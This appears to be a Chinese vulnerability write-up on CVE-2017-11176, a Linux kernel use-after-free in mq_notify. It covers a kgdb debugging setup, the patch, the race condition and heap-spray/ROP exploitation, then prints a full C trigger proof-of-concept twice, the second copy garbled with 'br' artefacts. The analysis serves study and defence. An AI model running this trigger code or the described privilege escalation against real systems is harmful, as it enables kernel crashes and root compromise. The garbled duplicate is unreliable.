龙空技术网

linux kernel UAF(CVE-2017-11176)漏洞分析与利用

极光无限 106

前言:

此时我们对“vbnet非空”都比较珍视,朋友们都想要了解一些“vbnet非空”的相关资讯。那么小编也在网摘上收集了一些对于“vbnet非空””的相关资讯,希望大家能喜欢,你们一起来学习一下吧!

作者:维阵漏洞研究员--km1ng

01 概述

Linux内核中的POSIX消息队列实现中存在一个UAF漏洞CVE-2017-11176。攻击者可以利用该漏洞导致拒绝服务或执行任意代码。

02 影响范围

内核版本至最高Linux kernel through 4.11.9中的mq_notify函数在进入etry logic时不会将sock指针设置为NULL。在Netlink套接字的用户空间关闭期间,它允许攻击者导致UAF。

Red Hat:

Ubuntu:

Debian:

03 环境搭建

3.1 调试环境

3.2 Centos7 双机调试

3.2.1 centos执行命令

yum install -y kernel-devel sudo vim /etc/yum.repos.d/CentOS-Debuginfo.repo    里面的enable字段修改为enable=1sudo debuginfo-install kernel    vi /boot/grub2/grub.cfg vi /etc/grub2.cfg    执行上面命令,找到如下图所示menuentry 中的linux所在的行,在quiet后追加下面的一行    kgdbwait kgdb8250=io,03f8,ttyS0,115200,4 kgdboc=ttyS0,115200 kgdbcon nokaslr执行下面命令更新grubgrub2-mkconfig -o /boot/grub2/grub.cfggrub2-mkconfig -o /etc/grub2.cfg

上面的ttyS0是有可能改变的,如有打印机等请移除。

3.2.2 vmware添加串口

centos7添加串口:

ubuntu添加串口:

测试串口:

centos执行:cat/dev/ttyS0ubuntu执行:echo hello > /dev/ttyS0

如上图所示centos输出hello代表成功。

3.2.3 测试调试环境

拷贝centos中的vmlinux到ubuntu(调试机),下面是本文章vmlinux所在的绝对路径。

/usr/lib/debug/lib/modules/3.10.0-693.el7.x86_64/vmlinux

重新启动centos,会发现centos如下图所示。

ubuntu执行下面的命令,每次ubuntu重启后都需要重新执行。

sudo stty -F /dev/ttyS0 115200sudo stty -F /dev/ttyS0gdb    target remote /dev/ttyS0    file vmlinux    c

centos正常运行,调试环境搭建成功。

3.3 下载源码

uname -a     查看自己内核版本cat /etc/redhat-release    查看版本

下面的链接为centos源码下载官网:

打开后如下图所示。

进入官网后,再一次进入自己对应机器的版本。这里进入7.4,进入os/,进入Source/,进入SPackages/,找到对应版本的rpm包下载在解压即可。

将得到的源码包放入ubuntu调试机。(如果本地的物理机是windows也保留一份,需要对照源码)

调试centos内核的时候,使用dir命令加载源码,在使用l命令查看是否成功,如下图所示。

dir /home/koffer/linux-3.10.0-693.el7

先使用exploit验证一下漏洞是否存在,提权成功。

04 补丁分析

源码的下载方式上面已给出,使用任何习惯的代码阅读器打开。

补丁地址:

可以发现补丁点在mqueue.c,并且只添加了一行。

patch的描述提供了更多的信息:

mqueue: fix a use-after-free in sys_mq_notify()The retry logic for netlink_attachskb() inside sys_mq_notify()is nasty and vulnerable:1) The sock refcnt is already released when retry is needed2) The fd is controllable by user-space because we already   release the file refcntso we then retry but the fd has been just closed by user-spaceduring this small window, we end up calling netlink_detachskb()on the error path which releases the sock again, later whenthe user-space closes this socket a use-after-free could betriggered.Setting 'sock' to NULL here should be sufficient to fix it

有漏洞的代码存在于mq_notify在retry的逻辑中有错误在sock的计数器上有错误导致UAF漏洞与已经关闭的fd的条件竞争有关

介绍下mq_notify系统调用的用途,mq_*代表”POSIX message queues”,用来代替System V message queues:

POSIX message queues allow processes to exchange data in the form of messages.This API is distinct from that provided by System V message  queues (msgget(2),msgsnd(2), msgrcv(2), etc.), but provides similar functionality.

mq_notify()系统调用用来注册或注销异步提醒:

mq_notify() allows the calling process to register or unregister for delivery of an asynchronous notification when a new message arrives on the empty message queue referred to by the descriptor mqdes.

05 漏洞成因分析

Posix消息队列允许异步事件通知,当往一个空队列放置一个消息时,Posix消息队列允许产生一个信号或启动一个线程。这种异步事件通知调用mq_notify函数实现,mq_notify为指定队列建立或删除异步通知。由于mq_notify函数在进入retry流程时没有将sock指针设置为NULL,可能导致UAF漏洞。

本文章使用的内核源代码为centos7.4 1708 版本默认内核版本版本3.10.0-693.el7的源码。

首先查看漏洞所在代码/ipc/mqueue.c:

SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,    const struct sigevent __user *, u_notification)

根据上面的补丁信息,先查看函数的执行流程,下图是经过删减的mq_notify函数。

    // from [ipc/mqueue.c]    SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,        const struct sigevent __user *, u_notification)    {      int ret;      struct file *filp;      struct sock *sock;      struct sigevent notification;      struct sk_buff *nc;      // ... cut (copy userland data to kernel + skb allocation) ...      sock = NULL;  retry:[0]       filp = fget(notification.sigev_signo);          if (!filp) {            ret = -EBADF;[1]         goto out;          }[2a]      sock = netlink_getsockbyfilp(filp);[2b]      fput(filp);          if (IS_ERR(sock)) {            ret = PTR_ERR(sock);            sock = NULL;[3]         goto out;          }          timeo = MAX_SCHEDULE_TIMEOUT;[4]       ret = netlink_attachskb(sock, nc, &timeo, NULL);          if (ret == 1)[5a]        goto retry;          if (ret) {            sock = NULL;            nc = NULL;[5b]        goto out;          }[5c]    // ... cut (normal path) ...      out:        if (sock) {          netlink_detachskb(sock, nc);        } else if (nc) {          dev_kfree_skb(nc);        }        return ret;      }

首先开始从【0】处获取用户提供的文件描述符,如果这个fd不存在于当前进程的fdt中,将会返回空指针并进入退出流程[1]。

[2a]提供的文件的sock对象也被获取。如果没有有效的sock对象,同样会置NULL并进入退出流程[3]。

随后调用netlink_attachskb()函数。

直接到【5c】处ret==1 执行到retrync和sock置为NULL然后执行到退出流程

根据补丁信息应该是要netlink_attachskb返回值为1执行到retry处才能触发漏洞,但是还有一块逻辑nc和sock为什么要置为NULL。

跟进netlink_detachskb函数:

再次跟进sock_put函数:

可以发现sock被置NULL并进入退出流程他的引用计数器sk_refcnt无条件会减一。正如patch所描述的,漏洞代码的sock对象的refcount存在着问题。

回头去查看retry处代码:

发现了netlink_getsockbyfilp函数。跟进netlink_getsockbyfilp函数,如下图所示。

sock对象的refcounter在sock_hold处被增加,计数器无条件地被netlink_getsockbyfilp()加一,被netlink_detachskb()(如果sock非空)减一。

下面为netlink_attachskb函数简化代码:

// from [net/netlink/af_netlink.c]/* * Attach a skb to a netlink socket. * The caller must hold a reference to the destination socket. On error, the * reference is dropped. The skb is not sent to the destination, just all * all error checks are performed and memory in the queue is reserved. * Return values: * < 0: error. skb freed, reference to sock dropped. * 0: continue * 1: repeat lookup - reference dropped while waiting for socket memory. */int netlink_attachskb(struct sock *sk, struct sk_buff *skb,          long *timeo, struct sock *ssk){  struct netlink_sock *nlk;  nlk = nlk_sk(sk);  if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {    // ... cut (wait until some conditions) ...    sock_put(sk);         // <----- refcnt decremented here    if (signal_pending(current)) {      kfree_skb(skb);      return sock_intr_errno(*timeo); // <----- "error" path    }    return 1;   // <----- "retry" path  }  skb_set_owner_r(skb, sk);   // <----- "normal" path  return 0;}

函数的功能是将skb绑定到netlink socket,sock_put(sk)导致refcnt减少,最后return 1,返回返回直接goto到retry标签的地方。

如下图所示,这里并没有将sock和nc置为NULL:

下面这两处函数的调用刚好将引用计数抵消:

如下图所示在retry代码块中,f=fdget(notification.sigev_signo),如果f.file为空,直接goto到out标签。

在上面的分析中,out判断sock是否为空,如果不为空,调用netlink_detachskb函数。释放skb,并减少sk引用计数,进行释放。那么就有问题了,如果我们创建A线程保持netlink_attachskb返回1,并重复retry逻辑,这个时候sock的引用计数是保持平衡的,一加一减,但是sock并不是为空。同时再创建B线程去关闭netlink socket对应的文件描述符。由于B线程关闭了netlink socket的文件描述符,那A线程在retry逻辑中,调用fdget时会失败,然后直接goto到out标签,进行释放,进行了二次释放,导致漏洞。这个漏洞是属于条件竞争型的二次释放漏洞,只在一个线程中,是无法触发漏洞。

06 触发漏洞

现在已经知道漏洞是如何造成的了,但是如何触发这个漏洞。

6.1 netlink_attachskb函数流程分析

在netlink_attachskb函数中,主要逻辑如下:

1、判断atomic_read(&sk->sk_rmem_alloc)是否大于sk->sk_rcvbuf,或者 test_bit(NETLINK_CONGESTED,&nlk->state))是否为真,和netlink_skb_is_mmaped(skb)是否为空;其中netlink_skb_is_mmaped(skb)返回结构肯定为True。

如果进入该分支,首先会调用 DECLARE_WAITQUEUE声明一个等待队列;判断timeo是否为空,这里不为空,不进入后续分支;随后调用__set_current_state设置当前task状态TASK_INTERRUPTIBLE;然后调用add_wait_queue将当前线程添加到 wait队列;然后进入判断,由于(atomic_read(&sk->sk_rmem_alloc)>sk->sk_rcvbuf || test_bit(NETLINK_CONGESTED,&nlk->state))这个判断在最开始已经为真,所以只需要确定 sock_flag是否为sock_DEAD。若为真,则调用schedule_timeout进行cpu调度,当前线程进入block状态;调用__set_current_state函数,设置当前task为TASK_RUNNING;调用remove_wait_queue函数,将当前线程从 wait队列中移除;调用sock_put函数,将sock的引用计数减1;最后调用signal_pending判断当前current,若为真,则调用kfree_skb释放skb;最后返回1。

2、如果不进入该分支,则会调用netlink_skb_set_owner_r函数:

会调用atomic_add将sk->sk_rmem_alloc加上skb->truesize,也就是扩大了sk->sk_rmem_alloc大小。

首先netlink_skb_is_mmaped(skb)肯定为True,所以只需要(atomic_read(&sk->sk_rmem_alloc)>sk->sk_rcvbuf || test_bit(NETLINK_CONGESTED,&nlk->state))为真即可。

为了触发漏洞,需要netlink_attachskb的返回值为1,可以通过增大sk->sk_rmem_alloc的值或减小sk->sk_rcvbuf的值。

6.2 增大sk->sk_rmem_alloc

在netlink_attachskb函数中,首先会对sk->sk_rmem_alloc与sk->sk_recvbuf函数进行判断,如果判断不通过,则会执行到netlink_set_owner_r函数。

sk_rmem_alloc可以视为sk缓冲区的当前大小,sk_rcvbuf是sk的理论大小,因为sk_rmem_alloc有等于0的情况,因此sk_rcvbuf可能需要<0才可以,在sock_setsockopt函数中可以设置sk_rcvbuf的值,但是它的值始终会是一个>0的值,因此这个判断很难以通过。会直接执行到 netlink_skb_set_owner_r。

那么是否能够通过多次调用mq_notify()函数,第一次直接执行netlink_skb_set_owner_r来增大 sk_rmem_alloc,然后第二次执行时由于 sk_rmem_alloc已经增大了来进入返回1的路径。

消息队列的一个成员只能执行一次。所以只能想办法用其他路径来触发netlink_skb_set_owner_r,以此来增大sk_rmem_alloc。这里先寻找一下关于 netlink_skb_set_owner_r的调用链。

最终发现如下调用链,可以调用skb_set_owner_r来更改sk_rmem_alloc的值:

netlink_sendmsg->netlink_unicast->netlink_attachskb->netlink_skb_owner_r

查看netlink_sendmsg代码:

执行netlink_unicast函数需要满足如下条件:

msg->msg_flags不等于MSG_OOBscm_send返回值大于等于0,也即保证msg->msg_controllen<=0即可addr->nl_family=AF_NETLINK,且 dst_group不等于dst_portid,netlink_allowed返回值不为空nlk->portid不为空,且sk->sk_sndbuf-32大于len需要控制msg->msg_iter的type\nr_segs\iov为对应值

最后调用netlink_unicast,但是这个函数里面没有易于我们控制的参数。

调用该函数可以直接通过调用链调用 netlink_attachskb,最后调用 netlink_skb_set_owner_r,也就是会增加 sk_rmem_alloc的值。

6.3 减小sk->sk_rcvbuf

setsockopt函数中,找到sock_setsockopt的函数,其中有对sk->sk_rcvbuf的操作:

首先val从val和sysctl_rmem_max中取最小值。然后sk->sk_rcvbuf从val*2和sock_min_rcvbuf中取最大值。这里就可以修改sk->sk_rcvbuf的值。这里的val是由我们传入的,可以控制sk->sk_rcvbuf的大小。

当ret==1时触发漏洞,ret为netlink_attachskb的返回值,mq_notify系统调用执行到 netlink_attachskb的条件:

u_notification !=NULLnotification.sigev_notify = SIGEV_THREADnotification.sigev_value.sival_ptr必须有效notification.sigev_signo提供一个有效的文件描述符

6.4 唤醒线程

在上面对netlink_attachskb进行分析时讲到当进入 if分支后,会执行schedule_timeout,会让当前线程进入block状态。而不想阻塞线程,只能设置 sock_flag为SOCK_DEAD,但是如果这样设置后面就没法再执行了。所以这里必须得进入block状态,我们只能想办法去唤醒被block的线程。

调用wake_up_interruptible来唤醒线程,调用链和代码如下所示:

netlink_setsockopt->wake_up_interruptible

6.5 retry跳转到out

通过上面的操作,已经能保证netlink_attackskb首先进入retry分支。然后我们要使retry循环出错,直接跳转到out代码块。

netlink_attackskb的正常流程为:

netlink_getsockbyfilp根据fd获取sock结构,此时 ock的引用加1;然后进入attachskb函数,判断此时的sk是不是满了,如果满了,则sock的引用减一;然后继续尝试获取sock,当sock还有剩余空间的时候,把skb跟sock绑定;此时sock的引用,一加一减保持平衡。

通过多线程同时竞争则会产生如下情况:

当线程1还未进入retry时,线程2调用了close触发了fputs,使引用计数ref count减1,并从映射表中将fd和文件的映射移除,因为调用 close(fd)函数将会释放最后一个对文件的引用,所以file结构体将会被释放。由于file结构体被释放,相关联的sock的结构体的引用计数减1,且sock的计数为0,导致其被释放。这时 sock指针并没有被设置为 NULL,使其成为一个野指针。然后在线程1中,因为 fd已经不指向任何有效的文件结构,所以第二次调用 fget()时会失败,程序将会跳转到 out标签处,接着 netlink_detachskb()将会使用之前已经被释放的 sock指针,导致 use after free。这里的 use after free是漏洞导致的结果而不是漏洞产生的原因。

07 漏洞利用

7.1 堆分配

对于UAF类型的漏洞,通用方法就是使用堆喷射占位。本次漏洞中被多次释放的对象是netlink_sock对象。netlink_sock对象大小为0x4a8字节,即是1192byte。

slab分配器在分配对象时,遵守后进先出的规则。下图是slab分配器释放对象的过程。

要释放的objp在ac->entry的末端,slab分配对象直接在ac->entry末端弹出一个对象。

被释放的对象是排在链表末段,如果此时同一缓存中进行对象分配,刚刚释放的对象会被重新分配出去,这就出现两个指针指向同一块内存地址。要想保证申请的内存正好落在漏洞对象的内存位置中:

堆喷对象使用的内核缓存应该和漏洞对象内存在同一个缓存中。

ac本身是array_chche结构体,该结构体是本地高速缓存,每个CPU对应一个,所以还要保证堆喷申请的对象和漏洞对象在同一个CPU本地高速缓存中。

如果堆喷申请的对象只是短暂驻留,当该函数返回时将申请的对象进行了释放,导致无法正确占位。所以要能保证申请的对象不被释放,至少保证在使用漏洞对象时不被释放,这里要采用驻留式内存占位,可以采取让某些系统调用过程阻塞。

7.2 利用流程分析

7.2.1 wait等待队列

在进行堆喷、构造堆喷对象时,有必要在对应漏洞对象的一些特殊成员域的内存偏移处设置magic value,然后可以采用系统调用去获取漏洞对象中相关数据进行判断。netlink_sock结构体几个关键的成员如下图所示:

采用getsockname系统调用获取数据,getsockname会调用netlink_getname。具体看一下netlink_getname函数:

将netlink_sock对象中的portid复制给nladdr->nl_pid。如果nlk->group为0,将nladdr->nl_groups赋值为NULL,这里避免解引用nlk->groups指针,直接可以在构造堆喷对象时将groups域填零。而nladdr是从addr转换过来的,addr就是从用户层传入的缓冲区,netlink_sock结构体如下:

wait_queue_haed_t结构体如下图所示:

7.2.2 func执行代码

task_list成员是一个双向循环链表头,task_list中链接的每一个成员都是需要处理的等待例程元素。进入如下图所示的wake_up_interruptible函数中。

如上图所示调用__wake_up_common函数,宏list_for_each_entry_safe遍历q->task_list中的成员。curr为wait_queue_t指针,说明q->task_list链表中存的是wait_queue_t类型的元素,wait_queue_t结构体。

如上图所示调用__wake_up_common函数,宏list_for_each_entry_safe遍历q->task_list中的成员。curr为wait_queue_t指针,说明q->task_list链表中存的是wait_queue_t类型的元素,wait_queue_t结构体。

wait_queue_t结构体如下所示:

queue元素,对pos->member.next进行了解引用,这里的pos->member就是wait_queue中的task_list。__wait_queue中的task_list也是一个链表头,需要指向一个list_head,所以还必须要构造一个假的list_head以便于该宏进行解引用。

7.3 调试验证

根据上面的分析已经明白了漏洞触发到漏洞利用的一个整体的流程,编写漏洞利用代码并测试,可以先在netlink_attachskb下断点,判断返回值是否为1,如果为1说明已经进入retry分支,然后在fdget下断点判断是否为0,判断成功后将会进入out分支,double-fetch成功。

如下图所示netlink_attachskb返回1,成功进入retry。

继续对fdget下断点,查看是否如我们想象中的那样运行。

如上图所示fget返回值为0,程序的执行流程转为out。

在__wake_up_common调用函数指针下断点执行下去,发现程序最终执行到构造的rop链条,如下图所示。

下图是我使用的centos7.4所构造的rop链条。

通过ROP链绕过SMEP执行提权代码。

08 poc

下面的代码是可以触发漏洞的poc。

/* * CVE-2017-11176 Proof-of-concept code by LEXFO. * * Compile with: * *  gcc -fpic -O0 -std=c99 -Wall -pthread exploit.c -o exploit */#define _GNU_SOURCE#include <asm/types.h>#include <mqueue.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/syscall.h>#include <sys/types.h>#include <sys/socket.h>#include <linux/netlink.h>#include <pthread.h>#include <errno.h>#include <stdbool.h>// ============================================================================// ----------------------------------------------------------------------------// ============================================================================#define NOTIFY_COOKIE_LEN (32)#define SOL_NETLINK (270) // from [include/linux/socket.h]// ----------------------------------------------------------------------------// avoid library wrappers#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)#define _setsockopt(sockfd, level, optname, optval, optlen) \  syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)#define _getsockopt(sockfd, level, optname, optval, optlen) \  syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen)#define _dup(oldfd) syscall(__NR_dup, oldfd)#define _close(fd) syscall(__NR_close, fd)#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags)#define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)// ----------------------------------------------------------------------------#define PRESS_KEY() \  do { printf("[ ] press key to continue...\n"); getchar(); } while(0)// ============================================================================// ----------------------------------------------------------------------------// ============================================================================struct unblock_thread_arg{  int sock_fd;  int unblock_fd;  bool is_ready; // we can use pthread barrier instead};// ----------------------------------------------------------------------------static void* unblock_thread(void *arg){  struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;  int val = 3535; // need to be different than zero  // notify the main thread that the unblock thread has been created. It *must*  // directly call mq_notify().  uta->is_ready = true;   sleep(5); // gives some time for the main thread to block  printf("[ ][unblock] closing %d fd\n", uta->sock_fd);  _close(uta->sock_fd);  printf("[ ][unblock] unblocking now\n");  if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))    perror("[+] setsockopt");  return NULL;}// ----------------------------------------------------------------------------static int decrease_sock_refcounter(int sock_fd, int unblock_fd){  pthread_t tid;  struct sigevent sigev;  struct unblock_thread_arg uta;  char sival_buffer[NOTIFY_COOKIE_LEN];  // initialize the unblock thread arguments  uta.sock_fd = sock_fd;  uta.unblock_fd = unblock_fd;  uta.is_ready = false;  // initialize the sigevent structure  memset(&sigev, 0, sizeof(sigev));  sigev.sigev_notify = SIGEV_THREAD;  sigev.sigev_value.sival_ptr = sival_buffer;  sigev.sigev_signo = uta.sock_fd;  printf("[ ] creating unblock thread...\n");  if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)  {    perror("[-] pthread_create");    goto fail;  }  while (uta.is_ready == false) // spinlock until thread is created    ;  printf("[+] unblocking thread has been created!\n");  printf("[ ] get ready to block\n");  if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF))  {    perror("[-] mq_notify");    goto fail;  }  printf("[+] mq_notify succeed\n");  return 0;fail:  return -1;}// ============================================================================// ----------------------------------------------------------------------------// ============================================================================/* * Creates a netlink socket and fills its receive buffer. * * Returns the socket file descriptor or -1 on error. */static int prepare_blocking_socket(void){  int send_fd;  int recv_fd;  char buf[1024*10];  int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF  struct sockaddr_nl addr = {    .nl_family = AF_NETLINK,    .nl_pad = 0,    .nl_pid = 118, // must different than zero    .nl_groups = 0 // no groups  };  struct iovec iov = {    .iov_base = buf,    .iov_len = sizeof(buf)  };  struct msghdr mhdr = {    .msg_name = &addr,    .msg_namelen = sizeof(addr),    .msg_iov = &iov,    .msg_iovlen = 1,    .msg_control = NULL,    .msg_controllen = 0,    .msg_flags = 0,   };  printf("[ ] preparing blocking netlink socket\n");  if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||      (recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)  {    perror("socket");    goto fail;  }  printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);  while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))  {    if (errno != EADDRINUSE)    {      perror("[-] bind");      goto fail;    }    addr.nl_pid++;  }  printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);  if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))    perror("[-] setsockopt"); // no worry if it fails, it is just an optim.  else    printf("[+] receive buffer reduced\n");  printf("[ ] flooding socket\n");  while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)    ;  if (errno != EAGAIN)  {    perror("[-] sendmsg");    goto fail;  }  printf("[+] flood completed\n");  _close(send_fd);  printf("[+] blocking socket ready\n");  return recv_fd;fail:  printf("[-] failed to prepare block socket\n");  return -1;}// ============================================================================// ----------------------------------------------------------------------------// ============================================================================int main(void){  int sock_fd  = -1;  int sock_fd2 = -1;  int unblock_fd = 1;  printf("[ ] -={ CVE-2017-11176 Exploit }=-\n");  if ((sock_fd = prepare_blocking_socket()) < 0)    goto fail;  printf("[+] netlink socket created = %d\n", sock_fd);  if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0))  {    perror("[-] dup");    goto fail;  }  printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);  // trigger the bug twice  if (decrease_sock_refcounter(sock_fd, unblock_fd) ||      decrease_sock_refcounter(sock_fd2, unblock_fd))  {    goto fail;  }  printf("[ ] ready to crash?\n");  PRESS_KEY();  // TODO: exploit  return 0;fail:  printf("[-] exploit failed!\n");  PRESS_KEY();  return -1;}// ============================================================================// ----------------------------------------------------------------------------// ============================================================================
xxxxxxxxxxbr /*br * CVE-2017-11176 Proof-of-concept code by LEXFO.br *br * Compile with:br *br *  gcc -fpic -O0 -std=c99 -Wall -pthread exploit.c -o exploitbr */brbrbr#define _GNU_SOURCEbr#include <asm/types.h>br#include <mqueue.h>br#include <stdio.h>br#include <stdlib.h>br#include <string.h>br#include <unistd.h>br#include <sys/syscall.h>br#include <sys/types.h>br#include <sys/socket.h>br#include <linux/netlink.h>br#include <pthread.h>br#include <errno.h>br#include <stdbool.h>brbrbr// ============================================================================br// ----------------------------------------------------------------------------br// ============================================================================brbrbr#define NOTIFY_COOKIE_LEN (32)br#define SOL_NETLINK (270) // from [include/linux/socket.h]brbrbr// ----------------------------------------------------------------------------brbrbr// avoid library wrappersbr#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)br#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)br#define _setsockopt(sockfd, level, optname, optval, optlen) \br  syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)br#define _getsockopt(sockfd, level, optname, optval, optlen) \br  syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen)br#define _dup(oldfd) syscall(__NR_dup, oldfd)br#define _close(fd) syscall(__NR_close, fd)br#define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags)br#define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)brbrbr// ----------------------------------------------------------------------------brbrbr#define PRESS_KEY() \br  do { printf("[ ] press key to continue...\n"); getchar(); } while(0)brbrbr// ============================================================================br// ----------------------------------------------------------------------------br// ============================================================================brbrbrstruct unblock_thread_argbr{br  int sock_fd;br  int unblock_fd;br  bool is_ready; // we can use pthread barrier insteadbr};brbrbr// ----------------------------------------------------------------------------brbrbrstatic void* unblock_thread(void *arg)br{br  struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;br  int val = 3535; // need to be different than zerobrbrbr  // notify the main thread that the unblock thread has been created. It *must*br  // directly call mq_notify().br  uta->is_ready = true; brbrbr  sleep(5); // gives some time for the main thread to blockbrbrbr  printf("[ ][unblock] closing %d fd\n", uta->sock_fd);br  _close(uta->sock_fd);brbrbr  printf("[ ][unblock] unblocking now\n");br  if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))br    perror("[+] setsockopt");br  return NULL;br}brbrbr// ----------------------------------------------------------------------------brbrbrstatic int decrease_sock_refcounter(int sock_fd, int unblock_fd)br{br  pthread_t tid;br  struct sigevent sigev;br  struct unblock_thread_arg uta;br  char sival_buffer[NOTIFY_COOKIE_LEN];brbrbr  // initialize the unblock thread argumentsbr  uta.sock_fd = sock_fd;br  uta.unblock_fd = unblock_fd;br  uta.is_ready = false;brbrbr  // initialize the sigevent structurebr  memset(&sigev, 0, sizeof(sigev));br  sigev.sigev_notify = SIGEV_THREAD;br  sigev.sigev_value.sival_ptr = sival_buffer;br  sigev.sigev_signo = uta.sock_fd;brbrbr  printf("[ ] creating unblock thread...\n");br  if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)br  {br    perror("[-] pthread_create");br    goto fail;br  }br  while (uta.is_ready == false) // spinlock until thread is createdbr    ;br  printf("[+] unblocking thread has been created!\n");brbrbr  printf("[ ] get ready to block\n");br  if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF))br  {br    perror("[-] mq_notify");br    goto fail;br  }br  printf("[+] mq_notify succeed\n");brbrbr  return 0;brbrbrfail:br  return -1;br}brbrbr// ============================================================================br// ----------------------------------------------------------------------------br// ============================================================================brbrbr/*br * Creates a netlink socket and fills its receive buffer.br *br * Returns the socket file descriptor or -1 on error.br */brbrbrstatic int prepare_blocking_socket(void)br{br  int send_fd;br  int recv_fd;br  char buf[1024*10];br  int new_size = 0; // this will be reset to SOCK_MIN_RCVBUFbrbrbr  struct sockaddr_nl addr = {br    .nl_family = AF_NETLINK,br    .nl_pad = 0,br    .nl_pid = 118, // must different than zerobr    .nl_groups = 0 // no groupsbr  };brbrbr  struct iovec iov = {br    .iov_base = buf,br    .iov_len = sizeof(buf)br  };brbrbr  struct msghdr mhdr = {br    .msg_name = &addr,br    .msg_namelen = sizeof(addr),br    .msg_iov = &iov,br    .msg_iovlen = 1,br    .msg_control = NULL,br    .msg_controllen = 0,br    .msg_flags = 0, br  };brbrbr  printf("[ ] preparing blocking netlink socket\n");brbrbr  if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||br      (recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)br  {br    perror("socket");br    goto fail;br  }br  printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);brbrbr  while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))br  {br    if (errno != EADDRINUSE)br    {br      perror("[-] bind");br      goto fail;br    }br    addr.nl_pid++;br  }brbrbr  printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);brbrbr  if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))br    perror("[-] setsockopt"); // no worry if it fails, it is just an optim.br  elsebr    printf("[+] receive buffer reduced\n");brbrbr  printf("[ ] flooding socket\n");br  while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)br    ;br  if (errno != EAGAIN)br  {br    perror("[-] sendmsg");br    goto fail;br  }br  printf("[+] flood completed\n");brbrbr  _close(send_fd);brbrbr  printf("[+] blocking socket ready\n");br  return recv_fd;brbrbrfail:br  printf("[-] failed to prepare block socket\n");br  return -1;br}brbrbr// ============================================================================br// ----------------------------------------------------------------------------br// ============================================================================brbrbrint main(void)br{br  int sock_fd  = -1;br  int sock_fd2 = -1;br  int unblock_fd = 1;brbrbr  printf("[ ] -={ CVE-2017-11176 Exploit }=-\n");brbrbr  if ((sock_fd = prepare_blocking_socket()) < 0)br    goto fail;br  printf("[+] netlink socket created = %d\n", sock_fd);brbrbr  if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0))br  {br    perror("[-] dup");br    goto fail;br  }br  printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);brbrbr  // trigger the bug twicebr  if (decrease_sock_refcounter(sock_fd, unblock_fd) ||br      decrease_sock_refcounter(sock_fd2, unblock_fd))br  {br    goto fail;br  }brbrbr  printf("[ ] ready to crash?\n");br  PRESS_KEY();brbrbr  // TODO: exploitbrbrbr  return 0;brbrbrfail:br  printf("[-] exploit failed!\n");br  PRESS_KEY();br  return -1;br}brbrbr// ============================================================================br// ----------------------------------------------------------------------------br// ============================================================================

09 总结

此漏洞的原理很简单、利用方式不是很难,但是我也调试挺长时间,难点在于如何去触发漏洞以及利用漏洞的时候绕过各种检查和条件。虽然现在已经得到了root shell但是还有很多需要改善的地方。分析复现漏洞应该更加关注自己使用的环境,自己的环境和别人文章中的是有不同的。清楚明白漏洞产生的原因,如何去触发漏洞、绕过检查、利用手法、清理环境等。这篇文章也是笔者第一次分析复现linux下的内核提权漏洞,如有不当之处还请指正。

视频演示:

「链接」linux kernel UAF(CVE-2017-11176)漏洞分析与利用

参考链接:

标签: #vbnet非空 #centos配置usb转串口 #centos7串口 #centos7串口超过6个 #uaf漏洞原理